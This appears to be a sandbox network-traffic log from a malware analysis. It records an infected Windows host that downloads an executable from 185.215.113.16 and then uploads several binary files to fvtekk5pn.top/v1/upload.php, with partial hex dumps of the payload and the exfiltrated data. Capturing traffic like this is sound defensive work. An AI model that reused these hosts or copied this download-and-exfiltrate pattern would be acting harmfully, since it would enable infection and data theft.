Nov 21, 2024 07:11:03.670418978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:11:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49951	185.215.113.16	80	7936	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:11:03.969234943 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 21, 2024 07:11:05.355779886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:11:05 GMT Content-Type: application/octet-stream Content-Length: 1896960 Last-Modified: Thu, 21 Nov 2024 05:12:25 GMT Connection: keep-alive ETag: "673ec139-1cf200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@Kc@WkHbK4bK @.rsrcH@.idata @ *@ufcrnojc1@cfzvtifvpK@.taggant0K"@
Nov 21, 2024 07:11:05.355840921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:11:05.355855942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:11:05.355905056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:11:05.355920076 CET	1236	IN	Data Raw: be d5 7b 10 6f 83 ac da 0f b6 8f 0c b3 ba 0d 77 60 62 f4 cb e8 10 bb 7e 81 30 17 31 7e 94 0b 5c 22 d8 9e 85 1f 98 87 50 7b 9f 6f 4e ff b1 7e 74 cf a0 cb 90 cb be 3a fb 20 a1 fb df 78 03 0c 7b ff 14 60 3f 97 5f 30 7c 71 e3 09 4e 3f a1 43 42 70 3f Data Ascii: {ow`b~01~\"P{oN~t: x{`?_0\|qN?CBp?dX/@<$kP`l4-c6 [c-"t-:_+{0}/O7UP_g4_>pH~P*7\|zh\|A[\hWD0>1Wcq-0{-i
Nov 21, 2024 07:11:05.355942011 CET	1236	IN	Data Raw: 0e d4 e1 c0 4e ec 3b 0e 67 f8 cf 91 a6 6f 91 95 df d2 07 a4 70 13 b0 18 f0 cd 0b 9c 03 18 ab 50 ef b2 63 48 41 78 14 07 02 f6 b7 43 d8 94 2b 20 53 33 8c 3b 79 e3 10 4d 57 92 8a 03 7e 00 90 5c 1f d4 15 40 5f 28 c6 6e a3 e7 0c a8 4f 57 f0 2f f5 31 Data Ascii: N;gopPcHAxC+ S3;yMW~\@_(nOW/1(\ 7o]u^L(0kuaa1WZrLF{-Qh\t{Lb5PJih)eSg6"DvWh `B]7JSg{f
Nov 21, 2024 07:11:05.355957031 CET	1236	IN	Data Raw: 8b ab b2 b4 37 a9 af 1a 3b 9f 34 d2 70 b1 d3 7d a6 47 9e 70 ea 24 d9 a0 de ba e2 9c 27 a2 d3 55 4c 51 bd 61 3b b7 fe 2e 27 01 10 1d 1e 3c f9 0d 0d 28 b2 bd f6 97 91 41 30 78 a0 4e 9c 84 5e bc f6 b9 75 e9 f0 3c f0 1b 56 35 74 1e 37 c5 b6 1a ab f4 Data Ascii: 7;4p}Gp$'ULQa;.'<(A0xN^u<V5t7@.CLr_o/g'jxp1xXum(W?cRVkod;Z7a>yzets\#RMYI7{F0p9\|L-j%JYh~Sw`@
Nov 21, 2024 07:11:05.355978966 CET	1236	IN	Data Raw: a6 7a 09 96 71 38 76 41 63 94 67 f8 a6 5a 3b 37 d7 c5 81 2d 2d 48 0e fc 70 1a 88 b3 51 df e4 9a 5b 9c de 96 8d 40 62 2c d4 3c a8 80 9b 89 48 34 77 10 17 09 e2 f6 08 52 24 0f 80 1a 56 57 33 df 71 e2 42 7f 6d 1a 27 95 70 54 17 d7 39 bb d8 41 e4 ad Data Ascii: zq8vAcgZ;7--HpQ[@b,<H4wR$VW3qBm'pT9A!T%g'ru(#jbF`q-iy-?~1-qIa<G"]b0\|/=24[k7UC-)18`^%V;{sV.x#
Nov 21, 2024 07:11:05.355993986 CET	1236	IN	Data Raw: 02 74 fe cf a0 4e 1f 19 2b 7b ef 27 af b1 13 c0 03 72 4a a2 5b bc ab d5 b1 70 50 05 9c 66 24 1c 8f 98 83 1a 53 91 71 09 5d 51 7c 3e 07 ab ab 18 38 74 c5 78 8c ce f3 51 c6 91 7d 18 75 a9 bd 60 33 af cb f2 87 61 23 c1 b7 de 32 7a 60 20 f3 0c 8a 6e Data Ascii: tN+{'rJ[pPf$Sq]Q\|>8txQ}u`3a#2z` n`9z+Qx>YE~4x!MJod_$;'>:Uf\_T:;[fEcghSK7ZWu.dombSdK[de>ew
Nov 21, 2024 07:11:05.356009960 CET	1236	IN	Data Raw: 66 a6 6b 85 6d e2 47 db 7d 3e 6d 53 d9 1f 7c 6f b3 ba 60 68 37 54 f5 dc 52 82 0e 72 d0 76 7d 2d 9d 75 ba 14 95 5a 1c 92 71 9a 73 93 55 20 7a 8f dc dd af 50 7b a0 ee 33 11 19 26 54 0f 63 50 f6 23 68 fe e3 4e a6 11 61 cf bf e4 fb 96 63 25 04 be ec Data Ascii: fkmG}>mS\|o`h7TRrv}-uZqsU zP{3&TcP#hNac%_$hwN&T)bude:$oIi=&4T2bp\R%3\O%bENhp_y !s=c7cZy\|\v]dp.s( 6M)+
Nov 21, 2024 07:11:05.475730896 CET	1236	IN	Data Raw: 47 d2 27 a5 35 da f3 0c e4 d6 e8 20 47 24 78 2c 99 78 8e 99 69 29 f4 9b e7 c4 35 38 e3 68 fc a3 cf f9 0c f4 62 b4 8f 3b 12 36 85 dd 25 28 7c c5 f6 57 30 94 63 64 80 96 77 21 55 34 5d 24 42 32 00 eb a0 3e 99 7c 3a 31 f0 01 a4 9e a9 bc 1c c0 94 68 Data Ascii: G'5 G$x,xi)58hb;6%(\|W0cdw!U4]$B2>\|:1h2$wN,>Nd7*L.` W/;<N}8bmeF[o2fH:R/?^BQHFbFZ#g?S!JHwrgmtS

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49955	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:11:04.372874975 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 07:11:05.502552032 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 08:56:12 GMT Age: 76493 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 07:11:15.543195009 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 07:11:25.741550922 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 07:11:36.042166948 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	50007	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:11:26.145873070 CET	638	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 459 Content-Type: multipart/form-data; boundary=------------------------qTeB9muqvwMrHPnBTh6Msb Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 71 54 65 42 39 6d 75 71 76 77 4d 72 48 50 6e 42 54 68 36 4d 73 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 76 61 79 65 7a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a fa b1 5d 0b 99 0e 9e e9 7e 1c 7d 0f 5d 2e 4a b8 da 54 5e 34 3f c2 8a 8a 51 53 2d 99 3f 48 42 c0 a4 cf dd 6c 47 06 51 96 05 e8 ff 37 76 5c 54 cf f4 0d 56 71 40 ba a3 b1 59 51 14 d9 cf 17 43 be 57 13 a8 30 a9 e8 a5 5e 12 bc cc 9f 3f a2 c1 7b a8 86 ce 90 79 f1 a2 55 8c c2 7f 19 fc b9 39 37 38 31 d1 ef fa 24 7a 6e c2 62 69 ce d2 95 7b f8 a3 53 14 f1 61 89 25 f4 8b 2e e5 1a b0 a6 72 46 ca f7 c9 ff c6 8d 1c 07 ae f5 ca e7 e0 03 6f ca 21 60 44 c6 60 c3 53 bb 11 f7 7e 43 82 97 73 dc f8 1e 6d de 9b 9a 04 73 35 16 a3 1c c7 8e 7f 1d a5 [TRUNCATED] Data Ascii: --------------------------qTeB9muqvwMrHPnBTh6MsbContent-Disposition: form-data; name="file"; filename="Govayez.bin"Content-Type: application/octet-stream]~}].JT^4?QS-?HBlGQ7v\TVq@YQCW0^?{yU9781$znbi{Sa%.rFo!`D`S~Csms5gXBdcQ0fF3Rz0P-1^~jf3SNH--------------------------qTeB9muqvwMrHPnBTh6Msb--
Nov 21, 2024 07:11:27.532038927 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Thu, 21 Nov 2024 06:11:27 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	50016	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:11:29.941848993 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 63829 Content-Type: multipart/form-data; boundary=------------------------9HDdpWzzUF5YIyzuasg9E9 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 48 44 64 70 57 7a 7a 55 46 35 59 49 79 7a 75 61 73 67 39 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 75 6d 65 6b 69 71 6f 66 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 5c 64 cd b0 3e af f6 10 03 97 93 11 83 87 77 2d cb a1 c4 ed 5a 74 0f de bd 63 54 93 ea 25 44 30 0e e7 63 0d cb 81 4d c4 d2 7b e0 12 d3 21 88 05 28 17 54 14 a9 c0 b1 a0 9b b3 1c 4b f7 81 05 ba c3 e7 80 03 98 5c 41 b7 25 8b 0d e3 11 3c be 0d cc ae 5d e8 4f 51 bf cc 41 2e 0e 3e 4e 88 51 e9 20 9b ab 07 15 80 65 9f 02 c4 12 d7 8b 21 00 1b 9e 85 bd 57 fd 3b 56 24 77 72 27 70 2a 85 da 65 29 06 fc a2 a2 f5 72 5d 2a 50 d1 ad ce d1 5c 2f f9 73 ba 9e c9 88 e2 83 16 f9 41 48 a0 1d c4 96 82 1e 5b eb d9 32 52 a4 2a d9 66 31 0c 61 51 [TRUNCATED] Data Ascii: --------------------------9HDdpWzzUF5YIyzuasg9E9Content-Disposition: form-data; name="file"; filename="Vumekiqof.bin"Content-Type: application/octet-stream\d>w-ZtcT%D0cM{!(TK\A%<]OQA.>NQ e!W;V$wr'pe)r]P\/sAH[2Rf1aQ({05'XZ/=23p-D /h =n6oM'4g}\MI<v"FaGv}g 6HPsBZ<^gV)a =Lk/"b>O3U}=0A_L"s$Wg2v4abZ)hn@?G0JTWKsJu0Ai=R,1R' Fb_C0 TU?smJ_~#yrf.a8#)FpF?c'GV3p],gg0_jzPr$vH;]@&m)/z5"Iu'+rDXWII pi^3t?1E)w<+DW3%g&KYsp+)n&7iRV+(;Gr=yh,V$B)YirEP~v^/sbL(}_U!kzt8M=jJ/8!B~yD5ec?\| [TRUNCATED]
Nov 21, 2024 07:11:30.061954975 CET	22248	OUT	Data Raw: 84 94 06 61 9e 9c f2 f3 bd 15 bf 96 84 a9 a1 a4 a0 6a e3 99 7f ff 39 2d d0 35 e6 ef cb dc bb 2e 26 9f 88 dc 3f 42 f7 81 65 92 64 c7 80 5d d4 c7 54 b7 31 e8 2d ec ef 51 6c 7d 33 77 2e e3 51 9d ca 90 27 d0 44 65 02 38 cf 9d 6e 25 93 01 6d 3c 66 ec Data Ascii: aj9-5.&?Bed]T1-Ql}3w.Q'De8n%m<fqZ`vXlfQ~5lZjK/"QlUs\|i]#dFA~{_V<=?Q,#O2;`=&L/@}do=Nmy45i]r
Nov 21, 2024 07:11:30.082000017 CET	2472	OUT	Data Raw: c6 98 2c d5 0a 2a 6a 88 1b d3 64 3e be 10 d4 12 12 c8 26 21 9e fd d1 7b ae fc 6d 0b c9 7e 03 66 d2 fa b3 e4 0b 79 22 cd ae bb 1b bd 7a 8e e3 8b 22 c6 bd 66 21 d0 36 42 62 fe 36 e4 0d b9 e2 40 9c 85 ec 35 90 eb 01 7d 8d c8 31 d7 4b c3 77 88 03 0b Data Ascii: ,*jd>&!{m~fy"z"f!6Bb6@5}1Kw]]cBFOzejLV"NMKPF&^~GI:hh!cW>I8?q,ib#o]N)wTvC$`,7!w YV4&
Nov 21, 2024 07:11:30.182571888 CET	14832	OUT	Data Raw: a3 54 06 78 68 b7 9d a8 7d 8c 4f c2 f1 3f e7 ff 04 d1 47 46 0c 35 cf dc 88 4e 18 c7 02 2b 1a 1d 84 1f 49 a6 fb 04 53 ac f2 3a a7 ae 98 d4 a6 a1 b8 b8 8a e3 30 57 84 b8 f5 65 fb d4 ae 01 13 f2 52 9c ad 11 fa 55 3a 25 4c d9 56 bb a7 e6 e6 e4 10 79 Data Ascii: Txh}O?GF5N+IS:0WeRU:%LVy(:Zu&!a7y.H~8aJlc#](B[PhnsqP"y0p-sx/X;U\:j*-lKqSlJ}kU/u>D
Nov 21, 2024 07:11:30.242857933 CET	12098	OUT	Data Raw: 6c 82 89 c0 85 ae ed 49 91 36 9d be db 4b 1f 9a 9a da 82 f6 be 2d 0b 96 8e 24 89 67 c4 2b ab 86 8c c8 75 88 d8 e3 a6 28 bf b4 b0 6b 96 ac 2f 23 8d b1 8f fa d3 97 68 2b 57 5c 68 d5 16 70 d9 96 f4 a7 03 e7 39 1c 3e 87 85 ff 3b 3a 4c 47 bd a2 dd 00 Data Ascii: lI6K-$g+u(k/#h+W\hp9>;:LGS,lY&T,w_s@bL2-W0hXo~Cb/oCc-&I!w4,e&.U6wzVU\|A4F3s5%l'nNv#
Nov 21, 2024 07:11:31.720391035 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Thu, 21 Nov 2024 06:11:31 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	50049	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:11:40.059329033 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 25618 Content-Type: multipart/form-data; boundary=------------------------ALYz1wwQse6Z4RpOdi7O2I Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 41 4c 59 7a 31 77 77 51 73 65 36 5a 34 52 70 4f 64 69 37 4f 32 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 75 6a 6f 77 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a e4 1c bc 95 fd 0a 41 db d8 ea c6 52 01 5b 9a 06 4c f0 7d 99 31 97 83 3b e8 ea 49 65 32 73 d2 34 22 58 96 7b cb 45 1b 85 fe f6 48 89 12 98 5a f5 74 72 e9 b4 64 e0 57 bc 1d 0e 15 20 4c 30 f6 e9 da 3d 6e 51 77 c6 58 f7 55 32 bd 7c 2f 1c 1a 61 83 48 88 c7 b1 c9 be af 73 3d 03 49 2c ff d3 8b db eb 71 40 18 6d 97 45 b7 b9 b6 1d a1 eb 8e bd de 64 12 38 9f 68 88 11 08 20 52 41 4c 0c a9 aa 69 de b5 1e 69 1c 81 02 6a 43 6b 3f 2c 5e 86 5c 1c aa 52 b4 49 27 37 f4 e5 0e cc 7f ac ff e3 48 9b b8 ab 72 1f ee 8e 42 8d d4 5e 5b 90 66 75 7c e3 1a [TRUNCATED] Data Ascii: --------------------------ALYz1wwQse6Z4RpOdi7O2IContent-Disposition: form-data; name="file"; filename="Gujowu.bin"Content-Type: application/octet-streamAR[L}1;Ie2s4"X{EHZtrdW L0=nQwXU2\|/aHs=I,q@mEd8h RALiijCk?,^\RI'7HrB^[fu\|LHSD'1(aXyMmxUPi/z)X$3,5rrM.W~+rSKv=,,F:txYTi6ynXKI:0u[xR;<W^zhuSN~4TM]uE.[%]"0}05`A+C"@xtvLg1]lAyD@S]n{ucrE'#,wzAt2OvaPJ\|I(b;^Bi?LQj/8hW)6;iVs+Q}h$ASrmY`Fq/A{NMndG^@IQlX2.mk4C~,Wo`QF,1W4t~wqG+$}F-"q=8=#!h\,Rrtw"YeT95NcO8^**x:Hl\|pg~AT%9_[ [TRUNCATED]
Nov 21, 2024 07:11:40.178929090 CET	4944	OUT	Data Raw: b2 cd 35 00 bc 18 f4 d3 f6 80 ab b0 e0 01 d3 fb 88 82 83 ac 91 ed f0 be 9b 58 6d 22 40 fd ef 9b c9 7f 70 af 35 1d 3e 43 82 5b df bb 28 c1 3d 6c ef 54 bf dd 5a f2 6d 0b 6c 53 a0 a7 40 db 43 36 e0 bf 19 dd 68 c6 10 da e9 de c3 39 6f ce 60 f8 26 f4 Data Ascii: 5Xm"@p5>C[(=lTZmlS@C6h9o`&iwS[qR;Mdw)~OC.l!y.=ZpOI. ziklX7 /&+TzQ%%A3X"hb)
Nov 21, 2024 07:11:40.178971052 CET	2472	OUT	Data Raw: 7b e3 50 44 27 14 19 4e 66 a5 24 7e 7a fc dd 86 a2 c5 0b e6 a9 23 65 b0 70 76 b7 9e 8a b5 c4 c2 ec 0a b5 3c 5e c7 82 1f 3b e4 a3 f5 63 d8 cc 50 86 2f 0c e0 49 e5 f6 e6 9f cd 4c 38 bd 10 0f e4 96 e9 32 7c 24 ca 32 d1 50 f3 cd 91 d9 86 68 64 85 05 Data Ascii: {PD'Nf$~z#epv<^;cP/IL82\|$2Phd?5Yd_<"# 3P3MWpobC+l`neVl".tV9S8B#pU(T^Ojn&+BrxZx~np{Os\CZiC_-l
Nov 21, 2024 07:11:40.179011106 CET	2472	OUT	Data Raw: 4e ab 41 32 5e d6 dc f5 5d 3e 25 71 03 29 01 21 64 bc 00 5c cf 0e c0 b8 98 c0 79 60 ae ed e5 d2 20 71 e8 09 c9 cd fa 7d ac ca 9c ff 18 f4 a7 41 ef 3b 71 4f ce ad a8 92 f3 84 f1 59 db 3d df 44 31 90 de 9a 7d 10 51 d6 0a c8 09 02 3f be 9e 87 e0 3c Data Ascii: NA2^]>%q)!d\y` q}A;qOY=D1}Q?<.gHi!+\|{4.EyznprLYf)X)"h`?.MP*T@D7g7 "9H/Df:FI+IO~ ?QzIi{FPp
Nov 21, 2024 07:11:40.179023981 CET	3551	OUT	Data Raw: 7d a8 44 d8 28 40 7c bf 9e be e3 e6 d8 71 21 07 a0 84 0f b3 23 4b 8a 5f 87 ae 27 6c f9 fe ea 58 61 64 bd 97 ec fd d5 93 d3 ba 67 04 52 64 d3 78 5a c4 b7 71 9f c1 e4 29 a7 66 13 4a 4c 61 14 a3 c1 80 2f cf 8b 29 5f 94 63 64 d8 21 fe 49 b2 d3 e7 65 Data Ascii: }D(@\|q!#K_'lXadgRdxZq)fJLa/)_cd!IeLs_<<B)o87[g8c\UX2c1\|OL=npURmlR{eX}u4AX?aZWDrfz0@P"v_ZTd<ra7
Nov 21, 2024 07:11:41.769474030 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Thu, 21 Nov 2024 06:11:41 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:09:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HCP5MrmtaEMmrhs&MD=AcWGvp2e HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 06:09:17 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: da7656e6-4f83-42f7-b7e4-22c2fc6caa52 MS-RequestId: d0c0ee89-c1c4-49f4-be98-cfc479ac59ac MS-CV: 8GtzrirIGEOM+eVp.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 06:09:16 GMT Connection: close Content-Length: 24490
2024-11-21 06:09:17 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-21 06:09:17 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:09:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HCP5MrmtaEMmrhs&MD=AcWGvp2e HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
